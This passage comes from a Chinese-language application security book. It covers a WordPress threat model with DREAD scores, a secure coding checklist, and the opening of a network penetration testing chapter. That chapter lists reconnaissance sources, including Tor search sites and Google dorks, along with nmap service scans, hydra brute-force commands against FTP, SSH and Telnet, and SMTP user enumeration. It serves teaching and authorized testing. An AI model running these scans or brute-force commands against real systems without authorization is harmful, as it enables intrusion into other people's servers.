| 损害 | 操控数据会损害博客网站及其完整性。 | 7 |
| 可重现性 | 在中长期内可以复现。 | 6 |
| 可利用性 | 执行此攻击需要较高技能。 | 1 |
| 受影响的用户 | 大部分客户可能会受到这种类型攻击的影响。 | 6 |
| 可发现性 | WordPress 中的登录页面(用于管理员身份验证)仅能通过内网访问。因此,发现该应用程序将仅限于内网区域。 | 3 |
| 总计 | 4.6 |
否定
| 威胁描述 | 旨在执行非法操作的威胁行为,且系统缺乏追踪禁止操作的能力。 |
|---|---|
| 威胁目标 | 网站(WordPress)功能。 |
| 攻击者步骤 | 如果应用程序不支持适当的安全日志记录,攻击者可以否认其攻击。 |
| 对策 | 应用程序应:
-
记录所有活动
-
在威胁发生时抛出错误(例如 SQLi 尝试)
|
| 现有对策 | 不适用——这是一个新项目。 |
|---|
DREAD 评审如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
| 损害 | 一些或少量。 | 2 |
| 可重现性 | 可以随时复现。 | 7 |
| 可利用性 | 攻击者需要一些应用程序日志方面的经验。 | 3 |
| 受影响的用户 | 可能从 1 个用户到超过 100 个用户不等。 | 5 |
| 可发现性 | 攻击者需要了解日志/监控架构。 | 1 |
| 总计 | 3.6 |
信息泄露——保密性
| 威胁描述 | 将信息(静态和传输中的)暴露给未经授权的人员。 |
|---|---|
| 威胁目标 | 应用程序(WordPress)数据。 |
| 攻击者步骤 | 攻击者可以采取以下步骤进行此类威胁:
-
读取传输中的数据
-
从日志中读取数据
-
从错误信息中读取数据
-
博客文章内容可能泄露机密信息
-
黑客可以通过 SQL 注入攻击窃取数据
-
黑客如果直接访问数据库,可以查询数据
|
| 对策 |
|---|
-
仅使用 TLS 传输数据
-
日志不应包含机密信息
-
错误信息应为通用信息
-
博客文章将在发布前由管理员审核
-
管理员将在发布前审核客户的评论
-
数据库将无法直接由 DB 管理员访问(仅能通过 WordPress 访问)
|
| 现有对策 | 不适用——这是一个新项目。 |
|---|
DREAD 报告如下:
| DREAD | 详情 | 得分/10 |
|---|---|---|
| 损害 | 查看 WordPress 内的数据的损害仅限于公司博客。 | 3 |
| 可重现性 | 可以随时复现。 | 7 |
| 可利用性 | 攻击者需要一些应用程序编程和高级攻击经验。 | 3 |
| 受影响的用户 | 可能从 1 个用户到超过 100 个用户不等。 | 5 |
| 可发现性 | 攻击者需要了解应用程序架构。 | 3 |
| 总计 | 4.2 |
拒绝服务 - 可用性
| 威胁描述 | 应用程序将暂时无法使用或不可用。 |
|---|---|
| 威胁目标 | 应用程序操作。 |
| 攻击者步骤 | 攻击者可以发送大量请求,旨在使网站崩溃。 |
| 对策 | 在应用程序配置文件或 Web 服务器中设置一个阈值。 |
| 现有对策 | 生产服务器负载均衡。 |
DREAD 报告如下:
| DREAD | 详情 | 分数 /10 |
|---|---|---|
| 损害 | 网站将无法访问。 | 8 |
| 可重现性 | 可以随时重现。 | 8 |
| 可利用性 | 即便是脚本小子也可以执行此攻击。 | 8 |
| 受影响的用户 | 大约在 100 人至 1000 人以上。 | 7 |
| 可发现性 | 任何人都可以通过 URL 发现该漏洞。 | 9 |
| 总计 | 8 |
权限提升 - 授权
| 威胁描述 | 旨在获取对资源的特权访问,进而未经授权地访问信息或危害系统的威胁。 |
|---|---|
| 威胁目标 | 网络基础设施。 |
| 攻击者步骤 | 在系统认证后,攻击者可以上传远程 Shell 来远程操控服务器。如果存在任何配置或补丁漏洞,黑客可以利用该漏洞提升其权限。 |
| 对策 |
-
服务器也会定期扫描是否缺少补丁和配置
-
监控应用程序以发现任何可疑活动
|
| 现有对策 |
|---|
-
入侵检测系统
-
智能数据丢失防护系统
-
智能防火墙
-
使用 VLAN 和防火墙进行网络隔离
|
DREAD 报告如下:
| DREAD | 详情 | 分数 /10 |
|---|---|---|
| 损害 | 在这种情况下,损害非常大,因为黑客将拥有系统和网络。 | 10 |
| 可重现性 | 如果未实施对策,任何时候都可以重现。 | 10 |
| 可利用性 | 该攻击可以由具备中等技能的黑客执行。 | 9 |
| 受影响的用户 | 大约在 100 人至 1000 人以上。 | 7 |
| 可发现性 | 该漏洞可以在内部被发现,因为管理员控制台无法外部访问。 | 6 |
| 总计 | 8.4 |
测试策略
信息安全管理下的应用安全团队将进行必要的安全测试,以增强 Web 应用程序的安全性。以下表格中的活动将包括所有需要在安全渗透测试中执行的项目:
| ID | 名称 | 工具 | 描述 | 环境 |
|---|---|---|---|---|
| 1 | 手动源代码审查 |
-
Veracode
-
Visual Studio IDE for .NET
-
Eclipse IDE for JAVA
| 我们不需要检查源代码,因为该应用程序将使用 WordPress CMS。 | 预生产环境 |
|---|---|
| 2 | Web 入侵测试 |
| 3 | Web 服务模糊测试 |
| 4 | Web 服务器基础设施测试 |
-
Nessus
-
Nmap
| 安全分析员将测试 web 服务器基础设施的安全性,并寻找任何缺失的安全补丁或不安全的设置。 | PROD |
|---|
总结
正如你在本章中看到的,ATM 其实并不难。人们往往低估了这个文档的重要性,但一旦你开始使用它,你就再也停不下来了,因为它有太多好处。要富有创意,不要局限于本章讨论的模板;相反,应该将其作为下一个应用威胁建模文档的指导方针。
任何专业的网站项目都从架构阶段开始,这时你需要展示你的技能,并将 ATM 文档视为一个安全架构文档。你的工作不仅仅是成为一个渗透测试员,这是在安全领域中非常重要的概念。你可以自由地添加你希望的章节,例如监控、日志记录、安全编码、安全控制,或任何你认为在项目初期对开发阶段有帮助的建议。
在下一章中,我们将讨论应用安全中的另一个重要主题:静态代码分析(源代码审查)。我暂时不会详细讨论这一点,我会把发现所有有趣内容的乐趣留给下一章。
第八章:源代码审查
你准备好迎接又一精彩的章节了吗?我假设到目前为止你喜欢这本书,如果是这样,我很高兴。? 本章将教你如何处理源代码审查过程。源代码是网络应用程序的核心或引擎,必须从安全角度正确构建。作为应用安全专家,你的角色是确保开发人员真正遵守安全模式。看到这里,你可能会说,但是 Gus,我不擅长编程。你将在本章稍后看到我的回答,但现在,请放心,我会尽力帮助你在职业生涯中取得进展。
静态代码分析是源代码审查的另一种流行词汇。但等等,我还没说完。还有另一个流行词汇,静态应用程序安全测试(SAST)。这个词汇在应用安全专家中非常常见,特别是当我们处理自动扫描工具(也称为 SAST 扫描器)时。
我将在本章后面详细讲解这个话题,所以继续阅读,避免错过所有有趣且有教育意义的内容。
在这一阶段,我假设你已经完成了应用威胁建模文档,并且理解了网络应用程序的高层次工作原理。确保你审阅了威胁建模文档,了解项目架构(入口点、资产、外部依赖、信任等级和安全威胁)。我在上一章中提到威胁建模是有原因的,因为我想展示你在典型内部项目中使用的逻辑流程。
以下是本章将要涵盖的主题:
-
如何评估你的编程背景
-
理解企业安全编码指南
-
理解手动代码审查与自动化代码审查的区别
-
安全编码检查清单
编程背景
在本章继续之前,我必须详细讨论一下你的编程背景,以便帮助你在编程语言方面朝正确的方向前进。在转行做全职网络安全专家之前,我做了大约 10 年的程序员。我可以告诉你,我在编程生涯中获得的经验极大地帮助了我在应用安全领域取得成功。毕竟,如果你从未开发过一个网络应用程序,又怎么能给专家提供建议呢?
编程语言被分为不同类别,它们之间有很多相似之处(比你想象的要多)。稍后在本章中,我将展示网络应用程序的编码安全检查清单,但不指向具体的某一种,因为这个检查清单可以应用于任何网络应用程序编程语言。
这里是你需要了解的最流行编程语言,以及它们所属的类别(再次强调,这些是流行的语言,并非全部):
-
Web 应用开发:Java、C#、.NET 和 PHP
-
驱动程序和硬件:C、C++ 和 汇编语言
-
逆向工程:汇编语言
-
数据库:结构化查询语言 SQL
-
脚本语言:Python、Perl 和 Ruby
你真的需要学习所有这些语言吗?是的,有点,但让我简化任务,帮助你轻松应对。首先,从学习一种脚本语言开始。在接下来的章节中,你将遇到一章专门讲解 Python。这门语言将在自动化渗透测试活动中帮助你很多,同时也能帮助你学习编程基础。接下来,你需要学习至少三种语言中的一种:Java、C#、.NET 或 PHP。你还需要通过自己开发 Web 应用来练习这些语言的使用。学习 Web 应用编程的同时,你还将学习 SQL,因为你将与数据库进行交互,这样就能一举两得。汇编语言是一种特殊的低级语言,但如果你学习它,将获得更多的编程技能。作为应用安全专业人员,你几乎不需要处理驱动程序/硬件或恶意软件逆向工程,因此你可以完全排除这些类别。
企业安全编码指南
每个企业都需要制定安全政策,以定义其开发团队的最佳安全实践。这些政策之一就是安全编码。你将是这些最佳实践文档(或清单)的守护者,并通过技术的发展不断更新它们。只要可能,安全编码指南应通过公司内部网站与开发人员共享。如果这个文档不存在,作为应用安全专业人员,你的工作是创建一个新的文档并向管理层建议,相信我,他们会非常感激。某些公司鼓励开发人员参加安全编码培训,以使他们参与到这一过程中。你可以参考本章中的安全编码清单部分,获取如何为你的公司(作为顾问或员工)制定自己的安全编码指南的思路。
在上一章中,我提到过一个重要话题——SDL。这是一个我希望你掌握并理解其实际运作方式的话题,因为安全编码是 SDL 的前提,在开发普通项目时,安全编码应该贯穿每一个步骤,具体如下:
-
架构阶段:在项目开始时,将定义架构,安全编码实践文档将作为所有技术挑战的参考。
-
开发阶段:在开发阶段,将使用持续集成,并在每次项目在构建服务器上编译时执行。静态代码分析器将在每次构建后自动扫描代码,如果开发者没有遵守安全指南,扫描器很可能会将其标记为缺陷。稍后在本章中,我们将更详细地讨论自动化扫描器。
-
部署前:在部署到生产环境之前,你将执行不同的测试(Web 入侵测试和手动源代码审查)。在这个阶段,你可以重用安全编码指南,以便在面对项目团队成员(Web 应用项目)时,针对他们可能说的“没人告诉过我们这个”的说辞提出反驳。

静态代码分析 – 手动扫描与自动扫描
在前面的图片中(在上一节),你可以清楚地看到,当项目准备好部署到典型的安全开发生命周期中时,手动代码审查将被执行。这里我需要你理解的主要思想是,手动扫描发生在自动扫描之后,因此手动代码审查是为了发现自动扫描器未能捕捉到的缺陷。有些人可能会对这个想法提出异议,你会惊讶于你会听到的不同意见——有人可能会告诉你,手动扫描就足够了,不需要扫描器,这种想法过于自负,因为我们是人类,不管多么优秀,我们总会犯错。另一方面,有些人会说扫描器就足够了,但根据他们的经验,总是会有些东西是在运行扫描后才被捕捉到的。你迷失了吗?嗯,答案很简单——你需要两者兼备。
这可能听起来有些枯燥,但我正在尽力分享我在日常工作中见证的事件中,能够帮助你职业发展的重要建议。现在让我们更深入地讨论 SAST 扫描器,因为你将在典型的 SDL 中与它们打交道。我不是在推荐任何产品,但我与 Veracode 有过很多接触,总体来说它是一个不错的产品。我也尝试过 Checkmarx,发现它也非常好。
使用 SAST 扫描器的最佳方式是实施持续集成方法。在完成架构阶段后,程序员将开始开发产品,完成后将其保存并推送到构建服务器(每天完成后)。像 Veracode 这样的扫描器会在构建后立即扫描代码,并标记出新保存的代码中发现的任何漏洞。应用安全分析师将密切审查扫描器的结果,并确保与开发负责人(也称为安全冠军)合作进行漏洞修复。之后,当项目准备发布时,扫描器的待办事项中不应包含任何高危或关键漏洞,以便在手动源代码审查开始前通过评分。|
大多数情况下,在 CI 集成过程中,你将协助项目团队评估误报。安全冠军将在 SAST 门户中提交需求,并等待你的批准,将其标记为误报。扫描工具并不完美,可能会出现许多问题。你的角色是始终支持开发团队,并确保将扫描器本身的任何漏洞报告给产品供应商。|
如果你的雇主要求你评估一个 SAST 扫描器,我建议你查看 Gartner 榜单上最好的扫描器,并自行进行测试。带上多个应用程序并进行扫描。之后,将每个扫描器找到的漏洞与误报进行比较;不要盲目假设 Gartner 选择的扫描器就一定是正确的,而不亲自测试它们。|
安全编码检查清单|
我写这本书是为了让你在职业生涯中能够每天使用一本应用安全“圣经”。我希望这本书尽可能包含实际场景,例如本节中提到的检查清单。填充文字不是我的风格——我喜欢行动(快速引用:“没有行动的规划只是空想”),接下来的检查清单包含了直截了当的规则,既可以作为开发人员的安全指南,也可以作为你手动检查源代码时使用的检查清单:|
身份验证和凭证管理:|
| ** √ ** | 身份验证凭证必须使用 TLS,而非 HTTP 明文传输。 |
|---|---|
| √ | 除了公开页面外,所有页面必须强制执行身份验证。 |
| √ | 错误信息(如在登录页、重置密码页和注册页)不应导致信息泄露(例如,在用户名无效的情况下)。 |
| √ | 必须在服务器端验证身份验证逻辑。 |
| √ | 身份验证密码必须在安全哈希算法下保存(避免使用 MD5 或 SHA1),并建议使用盐值。 |
| √ | 密码的哈希逻辑必须在服务器端。 |
| √ | 在最终用户完成所有数据输入后,验证身份验证数据。 |
| √ | 如果应用程序与第三方 Web 服务交互,必须确保对这些服务和端点的身份验证。 |
| √ | 与第三方 Web 服务交互的身份验证凭证应加密,且不得以明文形式存储(检查配置文件;开发人员通常会把它放在这里)。 |
| √ | 强制执行政策或法规中规定的密码复杂度/长度要求。使用以下常见最佳实践: |
-
至少为 10 个字符
-
至少包含一个大写字母
-
至少包含一个特殊字符
-
至少包含一个数字
|
| √ | 确保所有密码字段在输入密码时不回显用户密码,并且密码字段禁用自动完成。 |
|---|---|
| √ | 密码重置问题应支持足够随机的答案(例如,你最喜欢的颜色是什么是一个糟糕的问题,因为红色是一个非常常见的答案)。 |
| √ | 如果使用基于电子邮件的重置,仅向预先注册的地址发送包含临时随机链接/密码的电子邮件(短期有效期)。 |
| √ | 临时密码必须在下一次使用前更改。 |
| √ | 当用户更改或重置密码时,通过电子邮件或短信通知用户。 |
| √ | 在多次登录失败后强制禁用账户(五次尝试是常用限制)。账户必须被禁用足够长的时间,以阻止暴力破解凭证,但又不能禁用得太久,以免造成拒绝服务攻击。 |
| √ | 在执行关键操作前重新认证用户。 |
| √ | 对于高度敏感或高价值的交易账户,必须使用多因素身份验证。 |
| √ | 禁用密码字段的记住我功能。 |
授权与访问控制:
| √ | 授权必须在服务器端开发。 |
|---|---|
| √ | 如果应用程序无法访问其安全配置数据(例如,无法连接到数据库),则拒绝所有访问。 |
| √ | 每个网页请求(例如,Web API 端点)必须存在授权。 |
| √ | 文件(例如源代码、配置文件)和资源(包括受保护的 URL 和 Web 服务)的访问必须限制为管理员;只有管理员可以访问这些资源。 |
| √ | 如果授权数据必须存储在客户端,则必须加密该数据。 |
| √ | 使用Referer头作为额外的检查,但要小心不要依赖它,因为它可能被伪造。 |
| √ | 操作系统/应用服务账户应当具有最小权限。 |
| √ | 仅授权以下 HTTP 方法:GET、POST、PUT和DELETE。 |
| √ | 提交授权变更到服务器后,确保立即应用这些更改,并强制用户退出应用程序。 |
会话管理
| √ | 会话必须在服务器端进行管理。 |
|---|---|
| √ | 会话标识符(会话 ID)必须是随机的(黑客不应能够预测它)。 |
| √ | 登出功能应完全终止会话,并且应该在所有已认证的页面上可用。 |
| √ | 在无操作后设置会话超时。为了正确计算超时周期,你需要计算该资源的安全风险。 |
| √ | 不要将会话 ID 放入 URL、日志和错误信息中(会话 ID 位于 cookie 头中)。 |
| √ | 为 cookies 设置 secure 属性。 |
| √ | 为 cookies 设置 HttpOnly 属性。 |
加密:
| √ | 任何用于保护数据的加密功能应当在服务器端实现。 |
|---|---|
| √ | 关键数据(例如数据库连接字符串、密码、密钥等)必须加密,不应以明文形式存储。 |
| √ | 加密密钥必须防止未经授权的用户访问(只有超级管理员可以访问)。 |
| √ | 所有生成的随机项目——例如数字、文件名和字符串——必须使用高度加密的随机生成器。 |
| √ | 所有加密算法必须使用最新和最安全的算法。请参考 NIST 组织获取所有所需信息,网址:csrc.nist.gov。 |
输入验证:
| √ | 所有数据验证必须在服务器端进行。 |
|---|---|
| √ | 在验证之前对数据进行编码。 |
| √ | 所有验证失败的情况应当在自定义错误信息中被拒绝。 |
| √ | 验证应当应用于所有后台处理的内容,包括隐藏的表单值、URL 和头信息(不应仅限于表单输入)。 |
| √ | 危险字符,如 <>" ' % () & + \ /,应当进行验证。你还应验证以下内容:
-
空字节 (%00)
-
新行(\r,\n,%0d,%0a)
-
点点斜杠(../ 或 ..\)
|
| √ | 确保源代码中没有硬编码的 SQL 查询。 |
|---|---|
| √ | 在将输入字符串传递给 copy 和 concatenation 函数之前,应将其截断到合理的长度。 |
输出编码:
| √ | 所有输出编码逻辑必须在服务器端进行。 |
|---|---|
| √ | 对所有来自不可信数据的输出进行清理,防止 SQL、XML、LDAP 和操作系统命令注入。 |
日志记录与错误处理:
| √ | 不要在错误信息中透露敏感信息,包括调试信息,如堆栈跟踪。 |
|---|---|
| √ | 使用自定义的错误信息和错误页面。 |
| √ | 日志控制必须在服务器端执行。 |
| √ | 无论成功还是失败,日志事件都必须被触发。 |
| √ | 日志数据必须足够清晰,以便能够理解发生了什么。 |
| √ | 如果日志数据依赖于输入,它必须进行清理。 |
| √ | 日志记录功能必须集中管理,在同一个类或模块中。 |
| √ | 确保你记录以下事件:
-
验证失败
-
身份验证尝试
-
授权失败
-
篡改事件(例如,URL 操作用于 SQL 注入)
-
使用无效或过期的会话
-
所有管理功能
-
加密模块失败
-
来自特定国家的访问
-
高频率的网页请求
|
| √ | 当出现异常时,你需要能够安全退出该功能。 |
|---|---|
| √ | 错误或监控日志不应保存在同一服务器上,以避免 DOS 攻击(通过填满磁盘驱动器的随机数据)。 |
数据保护:
| √ | 临时敏感数据(例如缓存或传输文件)必须存储在安全位置,并且必须尽快清除这些数据。 |
|---|---|
| √ | 删除源代码中的注释,避免泄露有关应用程序的关键信息。 |
| √ | 确保保护 Web 服务器上的文件,且仅客户端能够访问预定的文件。保护配置文件、备份文件、部署脚本(或任何脚本)、不公开的文档、临时文件和任何包含机密信息的文件。 |
| √ | 敏感信息不应出现在 URL 查询字符串中。 |
禁用处理机密信息的页面缓存。使用 Cache-Control:no-store 和 Pragma:no-cache。 |
|
| √ | 传输中的数据必须使用最新最强的 TLS 算法加密。 |
| √ | 小心使用 HTTP 引荐,处理外部域名时特别注意。 |
杂项:
| √ | 确保在部署之前删除测试代码(不用于生产环境)。 |
|---|---|
| √ | 避免在 robots.txt 文件中泄露不必要的目录结构。应该创建一个父目录,并将所有隐藏的目录和文件放在其中,而不是在 robots.txt 中禁止每个目录/文件。 |
| √ | 从 HTTP 头中删除任何不必要的信息(例如,操作系统版本、Web 服务器版本和编程框架)。 |
| √ | 如果出于某种原因,应用程序必须提升其权限,确保尽快恢复权限。 |
| √ | 在设计 REST Web API 时,除了 200 表示成功和 404 表示错误之外,你有很多其他错误代码的选择。正确的错误代码有助于正确验证传入的请求。以下是为每个 REST API 状态返回代码提供的一些最佳实践:
-
200 成功:操作成功。
-
202 已接受:创建资源的请求已被接受。
-
204 无内容:POST 请求未包含客户端生成的 ID。
-
400 错误请求:请求格式错误。
-
401 未授权:身份验证 ID 或凭据错误。
-
403 禁止访问:经过身份验证的用户没有权限访问该资源。
-
404 未找到:请求的资源不存在。
-
405 方法不允许:请求中出现了不支持的 HTTP 方法。
-
429 请求过多:当检测到 DOS 攻击时,可能会发生此错误。
|
| √ | 确保以下头部存在: |
-
X-frame-options -
X-content-type-options -
Strict-transport-security -
Content-security-policy -
X-permitted-cross-domain-policies -
X-XSS-protection:1;mode=block -
X-content-type-options:nosniff
|
| √ | 在完成函数并在所有退出点正确释放分配的内存。 |
|---|
文件管理:
| √ | 用户必须在上传任何文件到应用程序之前进行身份验证。 |
|---|---|
| √ | 限制可以上传到应用程序的文件类型。 |
| √ | 通过检查文件头验证上传的文件。仅检查扩展名是不够的。 |
| √ | 上传的文件应保存在与 Web 服务器不同的服务器上。 |
| √ | 仔细检查并验证(或在必要时删除)上传的文件,这些文件将由 Web 服务器执行和解释。 |
| √ | 文件上传服务器必须关闭执行权限。 |
| √ | 上传文件的服务器必须安装防病毒软件和端点安全。 |
| √ | 不要传递目录或文件路径;而是使用映射到预定义路径列表的索引值。绝不在响应中发送完整的绝对路径给客户端。 |
| √ | 网络应用程序的文件和资源必须是只读格式。 |
第三方库:
| √ | 使用校验和来验证从互联网下载的文件(如库和脚本)的完整性。 |
|---|---|
| √ | 确保在应用程序中下载和使用的库是最新的稳定版本。 |
| √ | 使用第三方库扫描器(例如,Sonatype,Blackduck)。 |
概要
静态代码分析是应用安全的支柱之一,我希望你能轻松理解这一章节。如果因为缺乏编程经验而在理解本章概念时遇到困难,不用担心!这是你深入学习编程的好时机。请参阅本章的编程背景部分,了解更多详情。
在下一章中,我们将涵盖所有必要的主题,帮助你从头到尾成功执行网络基础设施安全测试。跟随我,一起深入探索这一令人兴奋的主题吧!
第九章:网络渗透测试
要做好准备——这将是一个庞大的章节!事实上,这一章的内容相当于一本书的内容。为什么呢?因为我希望它能成为你未来职业生涯中的参考资料。网络漏洞评估和渗透测试将是你从事 web 应用安全工作时的主要任务之一。假设你在一个容易受到攻击的操作系统上部署了 web 应用,而且该系统可以从互联网访问——这对一个想要远程获取你公司服务器的黑客来说,简直是圣诞礼物。
市面上大多数关于互联网安全的书籍都会讨论这个话题(使用 Kali Linux 进行渗透测试),所以我问自己,在写这章之前,我如何将它用于自己的日常安全测试呢? 我希望它尽可能对你有用,这样你就可以在实践中应用它,用于你的日常工作以及渗透测试认证。
你可以将这一章和下一章作为作弊手册,来练习你的渗透测试技能。你可以通过下载易受攻击的虚拟机并尝试利用它们,来提升你的黑客技能,这种方法称为Capture the Flag(CTF)。下载这些虚拟机的一个好网站是:www.vulnhub.com。
本书面向中级至高级的专业人士,旨在帮助他们增强和深化知识。如果你觉得本章的信息量庞大且不清晰,我建议你观看一些关于渗透测试的初学者在线课程。
让我们直接开始本章内容,以下是将要涵盖的主题:
-
被动信息收集
-
服务枚举
-
网络漏洞评估
-
漏洞利用
-
权限提升
被动信息收集 – 侦察 – OSINT
在渗透测试开始的第一步,你需要被动地收集关于目标公司范围的信息。为了完成这个任务,你将使用网络以及一些后台自动调用网络的工具。这个阶段也被称为收集开放源代码情报(OSINT)。OSINT 指的是从互联网上收集的信息。安全专业人员还称这一阶段为侦察。说实话,它们指的都是同一任务,但你需要知道在描述这个阶段时使用的不同术语。
如果你的目标是外部的 web 应用(无论是客户的目标,还是你所在组织的目标),那么你可以执行信息收集阶段,但如果你的目标是一个内网或一个尚未部署到生产环境的新网站,那么 OSINT 就没有用处,除非你的客户(或上司)单独要求你进行这项任务。
信息收集,或称为 OSINT,通常从对目标在线存在的网络研究开始。
您将使用公开信息收集以下内容:
-
公司信息,包括以下内容:
-
位置和地址
-
电子邮件地址(例如,
support@yourclientdomain.com) -
其他收购的公司(双向—可能是您的客户被另一家公司收购,或反之亦然)
-
域名(DNS)
-
企业类型(银行、保险、零售等)
-
公司结构
-
公司的博客文章
-
公司的社交网络数据
-
网页上的缓存内容
-
信息泄露(例如,密码、客户 PII 或任何不应公开的敏感信息)
-
-
员工信息,包括以下内容:
-
姓名
-
电子邮件地址
-
电话号码
-
公司内部的职位(例如,IT 经理、QA 工程师等)
-
社交网络数据
-
-
Web 应用程序信息收集,包括以下内容:
-
在数据泄露网站上发现基于 Web 的漏洞
-
网页爬取
-
使用的编程语言(例如 PHP、Java 或.NET)
-
使用 Burp 进行被动扫描(我们将在下一章中详细讨论此主题)
-
一个好的起点是目标网站。在这里,您可以找到上述大部分信息。
网络搜索引擎
不要只使用 Google 作为您的在线研究唯一搜索引擎(仅输入目标的公司名称或域名即可获得搜索结果)。还有其他强大的搜索引擎,包括以下内容:
-
中文搜索引擎:
www.baidu.com -
俄罗斯搜索引擎:
yandex.com -
常见的流行搜索引擎:
www.duckduckgo.com
您还可以使用 TOR 网络进行暗网和深网搜索(请小心使用这些搜索引擎,因为此技术仍在发展中):
-
Onion.City:
onion.link/ -
Not Evil:
hss3uro2hsxfogfq.onion.to/ -
Onion.To:
tor2web.org/ -
Duck Duck Go:
3g2upl4pq6kufc4m.onion/
要连接到暗网,首先连接到 VPN,然后使用 TOR 浏览器连接到 TOR 网络。
Google 黑客数据库 – Google dorks
Google 允许我们渗透测试人员按需查询其搜索引擎,以揭示有关目标的敏感信息。查找所有有趣查询的参考资料可以在 Exploit-DB 网站上找到,网址为:www.exploit-db.com/google-hacking-database/。
在 Google 上能搜索什么?使用 Google dorks,您可以查询搜索引擎以完成以下操作:
-
在 Web 服务器上获取立足点
-
揭示敏感目录
-
搜索易受攻击的文件
-
搜索易受攻击的服务器
-
揭示冗长的错误信息
-
搜索目标网络的漏洞数据
-
搜索属于目标的各种设备(例如,IP 摄像头)
-
获取 Web 服务器信息
-
搜索包含凭证(用户名或密码)和机密信息的文件
-
搜索登录页面(或管理员页面)
以下是一些最流行的 Google dork 查询:
-
搜索域名/子域名:
site [目标域名] -
搜索文件:
filetype [文件扩展名] -
在 URL 中搜索字符串:
inurl [搜索标准在 URL 中] -
在标题中搜索字符串:
intitle [搜索标准在标题中]
记住,你可以将多个查询组合在一起,以获得期望的结果。
在线工具
互联网中有一些不错的网站可以添加到你的工具库中:
-
探索服务器和物联网设备的在线漏洞:
www.shodan.io -
获取泄露的已发布信息:
www.pastebin.com -
文本和源代码泄漏:
github.com -
在线瑞士军刀工具:
www.dnsstuff.com -
查找目标网站的有趣信息:
Kali Linux 工具
Kali Linux 包含许多用于信息收集的工具。有些工具可能会从 Kali 的仓库中移除,因此不会默认安装。我列出的大多数工具可以通过 GitHub 下载或简单的 Google 搜索找到(以防它们将来从 Kali Linux 发行版中移除)。另一个选择是通过你的终端窗口使用apt-get install命令来安装所需的工具。
WHOIS 查询
每个域名都在公共 WHOIS 数据库中注册。根据查询的数据库,WHOIS 请求的响应将揭示很多有价值的信息,包括以下内容:
-
名称
-
电话号码
-
电子邮件地址
-
物理地址
-
域名到期日期
-
DNS 服务器
示例:
whois domain-name.com
域名系统 - DNS 枚举
DNS 枚举将揭示有关目标的域名和分配给它的 IP 地址的信息,以及我们与最终目的地之间的路由。
总结来说,域名系统(DNS)是一个数据库,将域名(例如,google.com)解析为其 IP 地址(172.217.10.46)。
你将使用 DNS 信息的原因如下:
-
确定 DNS 服务器是否允许区域传输。如果允许,它将揭示可通过互联网访问的系统的主机名和 IP 地址。
-
通过使用暴力破解的方法,该工具允许我们识别与目标关联的新域名或子域名。
-
查找可能存在漏洞的服务(例如,FTP)。
-
查找有趣的远程管理面板。
-
查找配置错误和/或测试服务器(
test.domain-name.com)。
工具/示例:
dnsenum domain-name.com
fierce -dns domain-name.com
dnsrecon -w -d domain-name.com -t axfr
-w: will perform a deep whois analysis
-d: target domain name
-t: type of enumeration
axfr: Test all NS servers for a zone transfer
收集电子邮件地址
theharvester 脚本是一个 Python 工具/脚本,用于通过流行的搜索引擎搜索电子邮件地址和域名。
示例:
theharvester -d domain-name.com -l 500 -b google -h
-d: is for the domain name
-l: in this case to limit the number of results to 100
-b: stands for the datasource, in this case we have chosen google but you have more options like (google,bing,bingapi,pgp,linkedin,google-profiles,people123,jigsaw,all)
-h: will use the SHODAN database to query the discovered hosts
主动信息收集 – 服务枚举
这个阶段主要是识别活跃主机及其上运行的服务。记住,在这个阶段,我们仍然在收集信息,用以了解我们的目标。一些企业环境中的人只是跳过这一步,直接执行高级扫描器进行漏洞评估,如 Nessus 或 Nexpose。我个人不喜欢这种做法,除非你的测试预算有限(这总比什么都不做好)。
这个阶段有四个步骤:
-
从客户或雇主那里获取 IP 地址/范围(如果是内部项目,项目经理会提供帮助)
-
识别活跃主机
-
列出每个主机上的开放端口/服务
-
对每个服务进行更多信息探测
请查看附录 A、B、C、D 和 E,了解渗透测试参考资料。
识别活跃主机
接下来,您将确定主机是否在线运行,或者是否受防火墙保护。我最喜欢用于这个阶段(以及后续阶段)的工具是 Nmap。我强烈建议您熟悉 Nmap。以下命令启动 Nmap 和另一个有用的主机标识工具:
- Nmap ping 扫描:
nmap -sn [IP Address / range]
- 另一个工具,Netdiscover:
netdiscover -r [IP Address / range]
识别开放端口/服务
快速 ping 扫描后,我们还可以利用我们的方法揭示开放的端口和服务。我们还将使用 Nmap 脚本来探测每个服务,使用以下命令:
- TCP 扫描 - 内网:
nmap -sS -sV -sC -sV --version-all -O --osscan-guess -T4 --reason --open -p- -Pn -v [IP address / range]
- UDP 扫描 - 内网:
nmap -sU --top-ports 1000 -Pn -v [IP address / range]
- TCP 扫描 - 来自互联网(外部边界):
nmap -sS -T2 --top-ports 1000 -Pn -v [IP address / range]
- UDP 扫描 - 来自互联网(外部边界):
nmap -sU --top-ports 100 -Pn -v [IP address / range]
请查看 附录 A,获取 Nmap 的备忘单。
服务探测和枚举
在前一步中,我们使用 Nmap 脚本快速探测了我们发现的每个服务。在此步骤中,我们将把这些信息带入下一步,并尝试更具攻击性地探测。我们将在以下示例中使用的 Nmap 脚本既非常激进又非常耗时:
-
端口 TCP 21 – FTP:
- Nmap 脚本探测:
nmap -sV -p 21 -Pn -T5 --host-timeout 15m --script=ftp* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] ftp://[IP address]
-
端口 TCP 22 – SSH:
- Nmap 脚本探测:
nmap -sV -p 22 -Pn -T5 --host-timeout 15m --script=ssh* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] ssh://[IP address]
-
端口 TCP 23 – Telnet:
- Nmap 脚本探测:
nmap -sV -p 23 -Pn -T5 --host-timeout 15m --script=telnet* -v [IP address]
-
- 凭证暴力破解:
hydra -t 10 -V -f -L [users dic file path] -P [passwords dic file path] telnet://[IP address]
-
端口 TCP 25 – SMTP:
- Nmap 脚本探测:
nmap -sV -p 25 -Pn -T5 --host-timeout 15m --script=smtp* -v [IP address]
-
- 连接到服务器并执行 VRFY 命令:
telnet [IP] 25
Then execute the command once connected:
VRFY [user] (e.g. VRFY John)
-
端口 TCP/UDP 53 – DNS:
- Nmap 脚本探测:
nmap -sV -p 53 -Pn -T5 --host-timeout 15m --script=dns* -v [IP address]
-
端口 TCP 80 – HTTP:
- Nmap 脚本探测:
nmap -sV -p 80 -Pn -T5 --host-timeout 200m --script=http* -v [IP address]
-
- 使用 Nikto 探测:
nikto -host http://[IP address]
-
- 使用 WhatWeb 探测:
whatweb [IP address]
-
- 目录爬行:
